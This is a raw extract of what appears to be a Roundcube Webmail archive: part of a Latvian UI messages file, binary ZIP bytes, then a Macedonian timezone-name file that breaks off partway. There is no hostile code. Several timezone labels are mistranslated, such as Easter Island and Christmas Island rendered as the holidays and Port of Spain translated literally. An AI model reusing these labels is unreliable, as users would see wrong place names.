$messages['addingmember'] = 'Kontaktus pievieno grupai...';
$messages['removingmember'] = 'Kontaktus atvieno no grupas...';
$messages['receiptsent'] = 'Saņemšanas apstiprinājums nosūtīts veiksmīgi.';
$messages['errorsendingreceipt'] = 'Neizdevās nosūtīt saņemšanas apstiprinājumu.';
$messages['deleteidentityconfirm'] = 'Vai Jūs tiešām vēlaties dzēst šo identitāti?';
$messages['nodeletelastidentity'] = 'Šo identitāti nav iespējams izdzēst, jo tā ir pati pēdējā.';
$messages['forbiddencharacter'] = 'Mapes nosaukums satur aizliegtus simbolus.';
$messages['selectimportfile'] = 'Lūdzu norādiet failu, kuru vēlaties augšupielādēt.';
$messages['addresswriterror'] = 'Izvēlētās adrešu grāmatas datus nav iespējams rediģēt.';
$messages['contactaddedtogroup'] = 'Kontakti tika veiksmīgi pievienoti šai grupai.';
$messages['contactremovedfromgroup'] = 'Kontakti tika veiksmīgi atvienoti no šīs grupas.';
$messages['nogroupassignmentschanged'] = 'Grupā nekas netika mainīts.';
$messages['importwait'] = 'Importēju, lūdzu uzgaidiet...';
$messages['importformaterror'] = 'Imports neizdevās! Augšupielādētais fails nav derīgs importam.';
$messages['importconfirm'] = '<b>Veiksmīgi ieimportēti $inserted kontakti</b>';
$messages['importconfirmskipped'] = '<b>Izlaida $skipped jau eksistējošus ierakstus</b>';
$messages['importmessagesuccess'] = 'Veiksmīgi ieimportētas $nr vēstules';
$messages['importmessageerror'] = 'Importēšanas kļūda! Augšupielādētā datne satur nekorektus datus';
$messages['opnotpermitted'] = 'Darbība nav atļauta!';
$messages['nofromaddress'] = 'Izvēlētajai identitātei nav norādīta e-pasta adrese.';
$messages['editorwarning'] = 'Pārslēdzot redaktora veidus var tikt pazaudēts teksta formatējums. Vai turpināt?';
$messages['httpreceivedencrypterror'] = 'Notika kritiska kļūme. Lūdzu nekavējoties sazinieties ar Jūsu administratoru. <b>Jūsu vēstuli nosūtīt nav iespējams.</b>';
$messages['smtpconnerror'] = 'SMTP kļūme ($code): Neizdevās pieslēgties serverim';
$messages['smtpautherror'] = 'SMTP kļūda ($code): Neizdevās autorizēties.';
$messages['smtpfromerror'] = 'SMTP kļūda ($code): Neizdevās iestatīt sūtītāju "$from" ($msg).';
$messages['smtptoerror'] = 'SMTP kļūda ($code): Neizdevās pievienot saņēmēju "$to" ($msg).';
$messages['smtprecipientserror'] = 'SMTP kļūda: Nav iespējams aptrādāt saņēmēju sarakstu.';
$messages['smtputf8error'] = 'SMTP kļūda: serveris neatbalsta unikodu epasta adresē.';
$messages['smtpsizeerror'] = 'SMTP kļūda: Vēstules izmērs pārsniedz serverī noteikto limitu ($limit)';
$messages['smtperror'] = 'SMTP kļūda: $msg';
$messages['emailformaterror'] = 'Nepareiza e-pasta adrese: $email';
$messages['toomanyrecipients'] = 'Pārāk daudz saņēmēju. Samaziniet skaitu līdz $max.';
$messages['maxgroupmembersreached'] = 'Grupas dalībnieku skaits pārsniedz limitu $max.';
$messages['internalerror'] = 'Atgadījās servera iekšējā kļūda. Lūdzu mēģiniet vēlreiz.';
$messages['contactdelerror'] = 'Kontaktus izdzēst neizdevās.';
$messages['contactdeleted'] = 'Kontakti izdzēsti veiksmīgi.';
$messages['contactrestoreerror'] = 'Izdzēstos kontaktus atjaunot neizdevās.';
$messages['contactrestored'] = 'Kontakti atjaunoti veiksmīgi.';
$messages['groupdeleted'] = 'Grupa izdzēsta veiksmīgi.';
$messages['grouprenamed'] = 'Grupa pārdēvēta veiksmīgi.';
$messages['groupcreated'] = 'Grupa izveidota veiksmīgi.';
$messages['savedsearchdeleted'] = 'Saglabātais meklēšanas pieprasījums izdzēsts veiksmīgi.';
$messages['savedsearchdeleteerror'] = 'Saglabāto meklēšanas pieprasījumu izdzēst neizdevās.';
$messages['savedsearchcreated'] = 'Saglabātais meklēšanas pieprasījums saglabāts veiksmīgi.';
$messages['savedsearchcreateerror'] = 'Meklēšanas pieprasījumu izveidot neizdevās.';
$messages['messagedeleted'] = 'Vēstule(s) veiksmīgi izdzēsta(s).';
$messages['messagemoved'] = 'Vēstule(s) veiksmīgi pārvietota(s).';
$messages['messagemovedtotrash'] = 'Vēstule(s) veiksmīgi iemesta(s) papīrgrozā.';
$messages['messagecopied'] = 'Vēstule(s) veiksmīgi pārkopēta(s).';
$messages['messagemarked'] = 'Vēstule(s) veiksmīgi atzīmēta(s).';
$messages['autocompletechars'] = 'Lai automātiski meklētu, ievadiet vismaz $min burtus.';
$messages['autocompletemore'] = 'Atrasti vairāki ieraksti. Papildiniet meklēšanas kritēriju ar vairāk burtiem.';
$messages['namecannotbeempty'] = 'Lūdzu ievadiet vārdu.';
$messages['nametoolong'] = 'Vārds ir pārāk garš.';
$messages['namedotforbidden'] = 'Mapes nosaukums nedrīkst sākties ar punktu.';
$messages['folderupdated'] = 'Mape vieksmīgi atjaunota.';
$messages['foldercreated'] = 'Mape veiksmīgi izveidota.';
$messages['invalidimageformat'] = 'Nederīgs attēla formāts.';
$messages['mispellingsfound'] = 'Vēstulē atrastas pareizrakstības kļūdas.';
$messages['parentnotwritable'] = 'Neizdevās izveidot/pārvietot mapi atzīmētajā virsmapē. Nav piekļuves tiesību.';
$messages['messagetoobig'] = 'Vēstule daļa ir pārāk liela, lai to varētu apstrādāt.';
$messages['attachmentvalidationerror'] = 'Šis e-pasta pielikums ir aizdomīgs, jo tā tips neatbilst tam, kurš norādīts pašā epasta ziņojumā. Ja Jūs neuzticaties sūtītājam, vai tas ir nepazīstams, Jums labāk nevērt vaļā šo e-pasta pielikumu, jo tas var saturēt ļaundabīgu kodu. <br/><br/><em>Norādīts: $expected; Atrasts: $detected3</em>';
$messages['noscriptwarning'] = 'Uzmanību: lai lasītu e-pastus, Jūsu pārlūkprogrammā jābūt ieslēgtiem JavaScript.';
$messages['messageissent'] = 'E-pasts jau ir nosūtīts, bet nav saglabāts. Vai Jūs vēlaties to tagad saglabāt?';
$messages['errnotfound'] = 'Fails netika atrasts';
$messages['errnotfoundexplain'] = 'Pieprasītais avots netika atrasts!';
$messages['errfailedrequest'] = 'Pieprasījums neizdevās';
$messages['errauthorizationfailed'] = 'Neveiksmīga autorizācija';
$messages['errunauthorizedexplain'] = 'Nevar pārbaudīt vai Jūs esat autorizēts izmantot šo servisu!';
$messages['errrequestcheckfailed'] = 'Pieprasījuma pārbaude neizdevās.';
$messages['errcsrfprotectionexplain'] = "Jūsu drošībai pieeja šim resursam ir aizsargāta pret vairāku vietņu pieprasījuma viltošanu (CSRF ).\nJa Jūs redzat šo ziņojumu, iespējams Jūs iepriekš nebijāt izgājuši ārā no šī e-pasta pārlūka.\n\nLai turpinātu, ir nepieciešams veikt lietotāja darbības.";
$messages['errcontactserveradmin'] = 'Lūdzu kontaktējieties ar servera administratoru.';
$messages['clicktoresumesession'] = 'Lai atjaunotu Jūsu iepriekšējo sessiju, spiest šeit.';
$messages['errcomposesession'] = 'Rakstot vēstuli radās autorizācijas sessijas kļūda';
$messages['errcomposesessionexplain'] = 'Pieprasītā sessija, vēstules rakstīšanai, netika atrasta.';
$messages['clicktocompose'] = 'Lai rakstītu jaunu vēstuli, spiest šeit';
$messages['nosupporterror'] = 'Šī iespēja Jūsu interneta pārlūkā nav atbalstīta.';
$messages['siginserted'] = 'Paraksts ievietots veiksmīgi.';
$messages['responseinserted'] = 'Atbilde ievietota veiksmīgi.';
$messages['noresponsesavailable'] = 'Nav pieejama neviena atbilde.';
$messages['listempty'] = 'Saraksts ir tukšs.';
$messages['listusebutton'] = 'Lai pievienotu jaunu ierakstu, izmantojiet pogu "Izveidot".';
$messages['keypaircreatesuccess'] = 'Jauns atslēgu pāris identitātei $identity tika veiksmīgi izveidots.';
$messages['emptyattachment'] = 'Izskatās, ka šis pielikums ir tukšs.<br>Lūdzu, sazinaties ar personu, kura to nosūtīja.';
$messages['oauthloginfailed'] = 'OAuth autorizācija neizdevās. Lūdzu mēģiniet vēlreiz.';
PK
h�\h.��Z�Z(program/localization/mk_MK/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'Координирано универзално време';
$labels['tz:africa'] = 'Африка';
$labels['tz:africa:abidjan'] = 'Абиџан';
$labels['tz:africa:accra'] = 'Акра';
$labels['tz:africa:addis_ababa'] = 'Адис Абеба';
$labels['tz:africa:algiers'] = 'Алжир';
$labels['tz:africa:asmara'] = 'Асмара';
$labels['tz:africa:bamako'] = 'Бамако';
$labels['tz:africa:bangui'] = 'Банги';
$labels['tz:africa:banjul'] = 'Банџул';
$labels['tz:africa:bissau'] = 'Бисао';
$labels['tz:africa:blantyre'] = 'Блантир';
$labels['tz:africa:brazzaville'] = 'Бразавил';
$labels['tz:africa:bujumbura'] = 'Bujumbura';
$labels['tz:africa:cairo'] = 'Каиро';
$labels['tz:africa:casablanca'] = 'Казабланка';
$labels['tz:africa:ceuta'] = 'Сеута';
$labels['tz:africa:conakry'] = 'Конакри';
$labels['tz:africa:dakar'] = 'Дакар';
$labels['tz:africa:dar_es_salaam'] = 'Дар ес Салам';
$labels['tz:africa:djibouti'] = 'Џибути';
$labels['tz:africa:douala'] = 'Дуала';
$labels['tz:africa:el_aaiun'] = 'Ел Ајун';
$labels['tz:africa:freetown'] = 'Фритаун';
$labels['tz:africa:gaborone'] = 'Габороне';
$labels['tz:africa:harare'] = 'Хараре';
$labels['tz:africa:johannesburg'] = 'Јоханесбург';
$labels['tz:africa:juba'] = 'Јуба';
$labels['tz:africa:kampala'] = 'Кампала';
$labels['tz:africa:khartoum'] = 'Картум';
$labels['tz:africa:kigali'] = 'Кигали';
$labels['tz:africa:kinshasa'] = 'Киншаса';
$labels['tz:africa:lagos'] = 'Лагос';
$labels['tz:africa:libreville'] = 'Либревил';
$labels['tz:africa:lome'] = 'Ломе';
$labels['tz:africa:luanda'] = 'Луанда';
$labels['tz:africa:lubumbashi'] = 'Лубумбаши';
$labels['tz:africa:lusaka'] = 'Лусака';
$labels['tz:africa:malabo'] = 'Малабо';
$labels['tz:africa:maputo'] = 'Мапуто';
$labels['tz:africa:maseru'] = 'Maseru';
$labels['tz:africa:mbabane'] = 'Мбабане';
$labels['tz:africa:mogadishu'] = 'Могадишу';
$labels['tz:africa:monrovia'] = 'Монровија';
$labels['tz:africa:nairobi'] = 'Најроби';
$labels['tz:africa:ndjamena'] = 'Нџамена';
$labels['tz:africa:niamey'] = 'Нимеј';
$labels['tz:africa:nouakchott'] = 'Нуакшот';
$labels['tz:africa:ouagadougou'] = 'Уагадугу';
$labels['tz:africa:porto-novo'] = 'Порто Ново';
$labels['tz:africa:sao_tome'] = 'Сао Томе';
$labels['tz:africa:tripoli'] = 'Триполи';
$labels['tz:africa:tunis'] = 'Тунис';
$labels['tz:africa:windhoek'] = 'Виндхук';
$labels['tz:america'] = 'Америка';
$labels['tz:america:adak'] = 'Адак';
$labels['tz:america:anchorage'] = 'Енкориџ';
$labels['tz:america:anguilla'] = 'Ангилја';
$labels['tz:america:antigua'] = 'Антигва';
$labels['tz:america:araguaina'] = 'Арагвајана';
$labels['tz:america:argentina'] = 'Аргентина';
$labels['tz:america:argentina:buenos_aires'] = 'Буенос Аирес';
$labels['tz:america:argentina:catamarca'] = 'Катамарка';
$labels['tz:america:argentina:cordoba'] = 'Кордоба';
$labels['tz:america:argentina:jujuy'] = 'Хухуј';
$labels['tz:america:argentina:la_rioja'] = 'Риоха';
$labels['tz:america:argentina:mendoza'] = 'Мендоза';
$labels['tz:america:argentina:rio_gallegos'] = 'Рио Галегос';
$labels['tz:america:argentina:salta'] = 'Салта';
$labels['tz:america:argentina:san_juan'] = 'Сан Хуан';
$labels['tz:america:argentina:san_luis'] = 'Сан Луис';
$labels['tz:america:argentina:tucuman'] = 'Тукуман';
$labels['tz:america:argentina:ushuaia'] = 'Ушуаја';
$labels['tz:america:aruba'] = 'Аруба';
$labels['tz:america:asuncion'] = 'Асунсион';
$labels['tz:america:atikokan'] = 'Атикокан';
$labels['tz:america:bahia'] = 'Баија';
$labels['tz:america:bahia_banderas'] = 'Баија Бандерас';
$labels['tz:america:barbados'] = 'Барбадос';
$labels['tz:america:belem'] = 'Белем';
$labels['tz:america:belize'] = 'Белизе';
$labels['tz:america:blanc-sablon'] = 'Бланк Саблон';
$labels['tz:america:boa_vista'] = 'Боа Виста';
$labels['tz:america:bogota'] = 'Богота';
$labels['tz:america:boise'] = 'Боис';
$labels['tz:america:cambridge_bay'] = 'Кембрич беј ';
$labels['tz:america:campo_grande'] = 'Камп Гранде';
$labels['tz:america:cancun'] = 'Канкун';
$labels['tz:america:caracas'] = 'Каракас';
$labels['tz:america:cayenne'] = 'Кајен ';
$labels['tz:america:cayman'] = 'Кајман';
$labels['tz:america:chicago'] = 'Чикаго';
$labels['tz:america:chihuahua'] = 'Чивава';
$labels['tz:america:costa_rica'] = 'Коста Рика';
$labels['tz:america:creston'] = 'Крестон';
$labels['tz:america:cuiaba'] = 'Кујаба';
$labels['tz:america:curacao'] = 'Курасао';
$labels['tz:america:danmarkshavn'] = 'Данмарксхаун';
$labels['tz:america:dawson'] = 'Давсон';
$labels['tz:america:dawson_creek'] = 'Давсон Крек';
$labels['tz:america:denver'] = 'Денвер';
$labels['tz:america:detroit'] = 'Детроит ';
$labels['tz:america:dominica'] = 'Доминика';
$labels['tz:america:edmonton'] = 'Едмонтон';
$labels['tz:america:eirunepe'] = 'Ернепе';
$labels['tz:america:el_salvador'] = 'Ел Салвадор';
$labels['tz:america:fort_nelson'] = 'Форт Нелсон';
$labels['tz:america:fortaleza'] = 'Форталеза';
$labels['tz:america:glace_bay'] = 'Глас беј';
$labels['tz:america:godthab'] = 'Нук';
$labels['tz:america:goose_bay'] = 'Гус беј ';
$labels['tz:america:grand_turk'] = 'Гранд Турк ';
$labels['tz:america:grenada'] = 'Гренада ';
$labels['tz:america:guadeloupe'] = 'Гвадалупе';
$labels['tz:america:guatemala'] = 'Гватемала';
$labels['tz:america:guayaquil'] = 'Гвајакил';
$labels['tz:america:guyana'] = 'Француска Гвајана';
$labels['tz:america:halifax'] = 'Халифакс';
$labels['tz:america:havana'] = 'Хавана';
$labels['tz:america:hermosillo'] = 'Хермосило';
$labels['tz:america:indiana'] = 'Индијана';
$labels['tz:america:indiana:indianapolis'] = 'Индијанаполис';
$labels['tz:america:indiana:knox'] = 'Нокс';
$labels['tz:america:indiana:marengo'] = 'Маренго';
$labels['tz:america:indiana:petersburg'] = 'Питерсбург';
$labels['tz:america:indiana:tell_city'] = 'Тел';
$labels['tz:america:indiana:vevay'] = 'Вевај';
$labels['tz:america:indiana:vincennes'] = 'Венсен';
$labels['tz:america:indiana:winamac'] = 'Винкам';
$labels['tz:america:inuvik'] = 'Инувик';
$labels['tz:america:iqaluit'] = 'Икалуит';
$labels['tz:america:jamaica'] = 'Јамајка';
$labels['tz:america:juneau'] = 'Џуно';
$labels['tz:america:kentucky'] = 'Кентаки';
$labels['tz:america:kentucky:louisville'] = 'Луисвил';
$labels['tz:america:kentucky:monticello'] = 'Монтисело';
$labels['tz:america:kralendijk'] = 'Краленџик';
$labels['tz:america:la_paz'] = 'Ла Паз';
$labels['tz:america:lima'] = 'Лима';
$labels['tz:america:los_angeles'] = 'Лос Анџелес';
$labels['tz:america:lower_princes'] = 'Долни принцови';
$labels['tz:america:maceio'] = 'Масејо';
$labels['tz:america:managua'] = 'Манагва';
$labels['tz:america:manaus'] = 'Манаус';
$labels['tz:america:marigot'] = 'Маригот';
$labels['tz:america:martinique'] = 'Мартиник';
$labels['tz:america:matamoros'] = 'Матаморос';
$labels['tz:america:mazatlan'] = 'Масатлан';
$labels['tz:america:menominee'] = 'Меномин';
$labels['tz:america:merida'] = 'Мерида';
$labels['tz:america:metlakatla'] = 'Матлаката';
$labels['tz:america:mexico_city'] = 'Мексико Сити';
$labels['tz:america:miquelon'] = 'Микелон';
$labels['tz:america:moncton'] = 'Монктон';
$labels['tz:america:monterrey'] = 'Монтереј';
$labels['tz:america:montevideo'] = 'Монтевидео';
$labels['tz:america:montserrat'] = 'Монтсерат';
$labels['tz:america:nassau'] = 'Насау';
$labels['tz:america:new_york'] = 'Њујорк';
$labels['tz:america:nipigon'] = 'Нипигон';
$labels['tz:america:nome'] = 'Ном';
$labels['tz:america:noronha'] = 'Нороња';
$labels['tz:america:north_dakota'] = 'Северна Дакота';
$labels['tz:america:north_dakota:beulah'] = 'Бјула';
$labels['tz:america:north_dakota:center'] = 'Центар';
$labels['tz:america:north_dakota:new_salem'] = 'Њу Сејлем';
$labels['tz:america:ojinaga'] = 'Оџинага';
$labels['tz:america:panama'] = 'Панама';
$labels['tz:america:pangnirtung'] = 'Пангниртунг';
$labels['tz:america:paramaribo'] = 'Парамарибо';
$labels['tz:america:phoenix'] = 'Феникс';
$labels['tz:america:port-au-prince'] = 'Порт-о-Пренс';
$labels['tz:america:port_of_spain'] = 'Пристаништето на Шпанија';
$labels['tz:america:porto_velho'] = 'Порто Вељо';
$labels['tz:america:puerto_rico'] = 'Порто Рико';
$labels['tz:america:rainy_river'] = 'Рејни Ривер ';
$labels['tz:america:rankin_inlet'] = 'Ранкин инлет ';
$labels['tz:america:recife'] = 'Ресифе';
$labels['tz:america:regina'] = 'Регина';
$labels['tz:america:resolute'] = 'Резолут';
$labels['tz:america:rio_branco'] = 'Рио Бранко ';
$labels['tz:america:santarem'] = 'Сантарем';
$labels['tz:america:santiago'] = 'Сантијаго';
$labels['tz:america:santo_domingo'] = 'Санто Доминго';
$labels['tz:america:sao_paulo'] = 'Сао Паоло';
$labels['tz:america:scoresbysund'] = 'Скорсбисунд';
$labels['tz:america:sitka'] = 'Ситка';
$labels['tz:america:st_barthelemy'] = 'Свети Бартелеми';
$labels['tz:america:st_johns'] = "Свети Јован";
$labels['tz:america:st_kitts'] = 'Сент Китс';
$labels['tz:america:st_lucia'] = 'Сент Лусија';
$labels['tz:america:st_thomas'] = 'Свети Тома';
$labels['tz:america:st_vincent'] = 'Свети Винсент';
$labels['tz:america:swift_current'] = 'Свифт Курент';
$labels['tz:america:tegucigalpa'] = 'Тегусигалпа';
$labels['tz:america:thule'] = 'Туле ';
$labels['tz:america:thunder_bay'] = 'Тандер беј ';
$labels['tz:america:tijuana'] = 'Тихуана';
$labels['tz:america:toronto'] = 'Торонто';
$labels['tz:america:tortola'] = 'Тортола';
$labels['tz:america:vancouver'] = 'Ванкувер';
$labels['tz:america:whitehorse'] = 'Вајтхорс ';
$labels['tz:america:winnipeg'] = 'Винипег';
$labels['tz:america:yakutat'] = 'Јокутат';
$labels['tz:america:yellowknife'] = 'Јелоунајф';
$labels['tz:antarctica'] = 'Антарктикот';
$labels['tz:antarctica:casey'] = 'Кејси';
$labels['tz:antarctica:davis'] = 'Дејвис';
$labels['tz:antarctica:dumontdurville'] = "Думонт Дурвиј ";
$labels['tz:antarctica:macquarie'] = 'Маскери';
$labels['tz:antarctica:mawson'] = 'Мејсон';
$labels['tz:antarctica:mcmurdo'] = 'МекМурдо';
$labels['tz:antarctica:palmer'] = 'Палмер';
$labels['tz:antarctica:rothera'] = 'Ротера';
$labels['tz:antarctica:syowa'] = 'Сиова';
$labels['tz:antarctica:troll'] = 'Трол';
$labels['tz:antarctica:vostok'] = 'Восток';
$labels['tz:arctic'] = 'Арктикот';
$labels['tz:arctic:longyearbyen'] = 'Лонгјиарбјен';
$labels['tz:asia'] = 'Азија';
$labels['tz:asia:aden'] = 'Аден';
$labels['tz:asia:almaty'] = 'Алмати';
$labels['tz:asia:amman'] = 'Аман';
$labels['tz:asia:anadyr'] = 'Анадир';
$labels['tz:asia:aqtau'] = 'Актау';
$labels['tz:asia:aqtobe'] = 'Актобе';
$labels['tz:asia:ashgabat'] = 'Ашхабад';
$labels['tz:asia:atyrau'] = 'Атирау';
$labels['tz:asia:baghdad'] = 'Багдад';
$labels['tz:asia:bahrain'] = 'Бахраин';
$labels['tz:asia:baku'] = 'Баку';
$labels['tz:asia:bangkok'] = 'Бангкок';
$labels['tz:asia:barnaul'] = 'Барнаул';
$labels['tz:asia:beirut'] = 'Бејрут';
$labels['tz:asia:bishkek'] = 'Бишкек';
$labels['tz:asia:brunei'] = 'Брунеи';
$labels['tz:asia:chita'] = 'Чита';
$labels['tz:asia:choibalsan'] = 'Чојбалсан';
$labels['tz:asia:colombo'] = 'Коломбо';
$labels['tz:asia:damascus'] = 'Дамаск';
$labels['tz:asia:dhaka'] = 'Дака';
$labels['tz:asia:dili'] = 'Дили';
$labels['tz:asia:dubai'] = 'Дубаи';
$labels['tz:asia:dushanbe'] = 'Душанбе';
$labels['tz:asia:famagusta'] = 'Фамагуста';
$labels['tz:asia:gaza'] = 'Газа';
$labels['tz:asia:hebron'] = 'Хеброн';
$labels['tz:asia:ho_chi_minh'] = 'Хо Ши Мин';
$labels['tz:asia:hong_kong'] = 'Хонг Конг';
$labels['tz:asia:hovd'] = 'Ховд';
$labels['tz:asia:irkutsk'] = 'Иркутск';
$labels['tz:asia:jakarta'] = 'Џакарта';
$labels['tz:asia:jayapura'] = 'Џајапура';
$labels['tz:asia:jerusalem'] = 'Ерусалим';
$labels['tz:asia:kabul'] = 'Кабул';
$labels['tz:asia:kamchatka'] = 'Камчатка';
$labels['tz:asia:karachi'] = 'Карачи';
$labels['tz:asia:kathmandu'] = 'Катманду';
$labels['tz:asia:khandyga'] = 'Кандуга';
$labels['tz:asia:kolkata'] = 'Калкута';
$labels['tz:asia:krasnoyarsk'] = 'Краснојарск';
$labels['tz:asia:kuala_lumpur'] = 'Куала Лумпур';
$labels['tz:asia:kuching'] = 'Кочинг';
$labels['tz:asia:kuwait'] = 'Кувајт';
$labels['tz:asia:macau'] = 'Макао';
$labels['tz:asia:magadan'] = 'Магадан';
$labels['tz:asia:makassar'] = 'Макасар';
$labels['tz:asia:manila'] = 'Манила';
$labels['tz:asia:muscat'] = 'Мускат';
$labels['tz:asia:nicosia'] = 'Никозија';
$labels['tz:asia:novokuznetsk'] = 'Новокузнецк';
$labels['tz:asia:novosibirsk'] = 'Новосибирск';
$labels['tz:asia:omsk'] = 'Омск';
$labels['tz:asia:oral'] = 'Орал';
$labels['tz:asia:phnom_penh'] = 'Пном Пен';
$labels['tz:asia:pontianak'] = 'Понтианак';
$labels['tz:asia:pyongyang'] = 'Пјонгјанг';
$labels['tz:asia:qatar'] = 'Qatar';
$labels['tz:asia:qyzylorda'] = 'Кизилорда';
$labels['tz:asia:riyadh'] = 'Ријад';
$labels['tz:asia:sakhalin'] = 'Сахалин';
$labels['tz:asia:samarkand'] = 'Самарканд';
$labels['tz:asia:seoul'] = 'Сеул';
$labels['tz:asia:shanghai'] = 'Шангај';
$labels['tz:asia:singapore'] = 'Сингапур';
$labels['tz:asia:srednekolymsk'] = 'Средњеколимск';
$labels['tz:asia:taipei'] = 'Тајпеј';
$labels['tz:asia:tashkent'] = 'Ташкент';
$labels['tz:asia:tbilisi'] = 'Тбилиси';
$labels['tz:asia:tehran'] = 'Техеран';
$labels['tz:asia:thimphu'] = 'Тимпу';
$labels['tz:asia:tokyo'] = 'Токио';
$labels['tz:asia:tomsk'] = 'Томск';
$labels['tz:asia:ulaanbaatar'] = 'Улан Батор';
$labels['tz:asia:urumqi'] = 'Урумки';
$labels['tz:asia:ust-nera'] = 'Уст-Нера';
$labels['tz:asia:vientiane'] = 'Виентиан';
$labels['tz:asia:vladivostok'] = 'Владивосток';
$labels['tz:asia:yakutsk'] = 'Јакутск';
$labels['tz:asia:yangon'] = 'Јангон';
$labels['tz:asia:yekaterinburg'] = 'Екатеринбург';
$labels['tz:asia:yerevan'] = 'Ереван';
$labels['tz:atlantic'] = 'Атлантскиот';
$labels['tz:atlantic:azores'] = 'Азорските Острови';
$labels['tz:atlantic:bermuda'] = 'Бермуда';
$labels['tz:atlantic:canary'] = 'Канарските Острови ';
$labels['tz:atlantic:cape_verde'] = 'Зелено\'ртски Острови';
$labels['tz:atlantic:faroe'] = 'Фарските';
$labels['tz:atlantic:madeira'] = 'Мадеира';
$labels['tz:atlantic:reykjavik'] = 'Рејкјавик';
$labels['tz:atlantic:south_georgia'] = 'Јужна Џорџија';
$labels['tz:atlantic:st_helena'] = 'Света Елена';
$labels['tz:atlantic:stanley'] = 'Стенли';
$labels['tz:australia'] = 'Австралија';
$labels['tz:australia:adelaide'] = 'Аделаида';
$labels['tz:australia:brisbane'] = 'Бризбејн';
$labels['tz:australia:broken_hill'] = 'Скршен рид ';
$labels['tz:australia:currie'] = 'Кјури ';
$labels['tz:australia:darwin'] = 'Дарвин';
$labels['tz:australia:eucla'] = 'Укла ';
$labels['tz:australia:hobart'] = 'Хобарт';
$labels['tz:australia:lindeman'] = 'Линдеман';
$labels['tz:australia:lord_howe'] = 'Лорд Хове ';
$labels['tz:australia:melbourne'] = 'Мелбурн';
$labels['tz:australia:perth'] = 'Перт';
$labels['tz:australia:sydney'] = 'Сиднеј';
$labels['tz:europe'] = 'Европа';
$labels['tz:europe:amsterdam'] = 'Амстердам';
$labels['tz:europe:andorra'] = 'Андора';
$labels['tz:europe:astrakhan'] = 'Астрахан';
$labels['tz:europe:athens'] = 'Атина';
$labels['tz:europe:belgrade'] = 'Белград';
$labels['tz:europe:berlin'] = 'Берлин';
$labels['tz:europe:bratislava'] = 'Братислава';
$labels['tz:europe:brussels'] = 'Брисел';
$labels['tz:europe:bucharest'] = 'Букурешт';
$labels['tz:europe:budapest'] = 'Будимпешта';
$labels['tz:europe:busingen'] = 'Бисинген ам Хохрајн';
$labels['tz:europe:chisinau'] = 'Кишињев';
$labels['tz:europe:copenhagen'] = 'Копенхаген';
$labels['tz:europe:dublin'] = 'Даблин';
$labels['tz:europe:gibraltar'] = 'Гибралтар';
$labels['tz:europe:guernsey'] = 'Гернзи';
$labels['tz:europe:helsinki'] = 'Хелсинки';
$labels['tz:europe:isle_of_man'] = 'Остров на Човекот';
$labels['tz:europe:istanbul'] = 'Истанбул';
$labels['tz:europe:jersey'] = 'Џерси';
$labels['tz:europe:kaliningrad'] = 'Калининград';
$labels['tz:europe:kiev'] = 'Киев';
$labels['tz:europe:kirov'] = 'Киров';
$labels['tz:europe:lisbon'] = 'Лисабон';
$labels['tz:europe:ljubljana'] = 'Љубљана';
$labels['tz:europe:london'] = 'Лондон';
$labels['tz:europe:luxembourg'] = 'Луксембург';
$labels['tz:europe:madrid'] = 'Мадрид';
$labels['tz:europe:malta'] = 'Малта';
$labels['tz:europe:mariehamn'] = 'Маријехамн';
$labels['tz:europe:minsk'] = 'Минск';
$labels['tz:europe:monaco'] = 'Монако';
$labels['tz:europe:moscow'] = 'Москва';
$labels['tz:europe:oslo'] = 'Осло';
$labels['tz:europe:paris'] = 'Париз';
$labels['tz:europe:podgorica'] = 'Подгорица';
$labels['tz:europe:prague'] = 'Прага';
$labels['tz:europe:riga'] = 'Рига';
$labels['tz:europe:rome'] = 'Рим';
$labels['tz:europe:samara'] = 'Самара';
$labels['tz:europe:san_marino'] = 'Сан Марино';
$labels['tz:europe:sarajevo'] = 'Сараево';
$labels['tz:europe:saratov'] = 'Саратов';
$labels['tz:europe:simferopol'] = 'Симферопол';
$labels['tz:europe:skopje'] = 'Скопје';
$labels['tz:europe:sofia'] = 'Софија';
$labels['tz:europe:stockholm'] = 'Стокхолм';
$labels['tz:europe:tallinn'] = 'Талин';
$labels['tz:europe:tirane'] = 'Тирана';
$labels['tz:europe:ulyanovsk'] = 'Улјановск';
$labels['tz:europe:uzhgorod'] = 'Ужгород';
$labels['tz:europe:vaduz'] = 'Вадуз';
$labels['tz:europe:vatican'] = 'Ватикан';
$labels['tz:europe:vienna'] = 'Виена';
$labels['tz:europe:vilnius'] = 'Вилнус';
$labels['tz:europe:volgograd'] = 'Волгоград';
$labels['tz:europe:warsaw'] = 'Варшава';
$labels['tz:europe:zagreb'] = 'Загреб';
$labels['tz:europe:zaporozhye'] = 'Запорожје';
$labels['tz:europe:zurich'] = 'Цирих';
$labels['tz:indian'] = 'Иднијан';
$labels['tz:indian:antananarivo'] = 'Антананариво';
$labels['tz:indian:chagos'] = 'Чагос';
$labels['tz:indian:christmas'] = 'Божиќ';
$labels['tz:indian:cocos'] = 'Кокос';
$labels['tz:indian:comoro'] = 'Коморските острови ';
$labels['tz:indian:kerguelen'] = 'Кергелен';
$labels['tz:indian:mahe'] = 'Махе';
$labels['tz:indian:maldives'] = 'Малдивите';
$labels['tz:indian:mauritius'] = 'Маврициус';
$labels['tz:indian:mayotte'] = 'Мајот';
$labels['tz:indian:reunion'] = 'Обединување';
$labels['tz:pacific'] = 'Пацифик';
$labels['tz:pacific:apia'] = 'Апија';
$labels['tz:pacific:auckland'] = 'Окленд';
$labels['tz:pacific:bougainville'] = 'Бугенвилеја';
$labels['tz:pacific:chatham'] = 'Чатам';
$labels['tz:pacific:chuuk'] = 'Чук';
$labels['tz:pacific:easter'] = 'Велигден';
$labels['tz:pacific:efate'] = 'Ефате';
$labels['tz:pacific:enderbury'] = 'Ендербери';
$labels['tz:pacific:fakaofo'] = 'Факаофо';
$labels['tz:pacific:fiji'] = 'Фиџи';
$labels['tz:pacific:funafuti'] = 'Фунафути';
$labels['tz:pacific:galapagos'] = 'Galapagos';
$labels['tz:pacific:gambier'] = 'Гамбиер';
$labels['tz:pacific:guadalcanal'] = 'Гвадалканал';
$labels['tz:pacific:guam'] = 'Гуам';
$labels['tz:pacific:honolulu'] = 'Хонолулу';
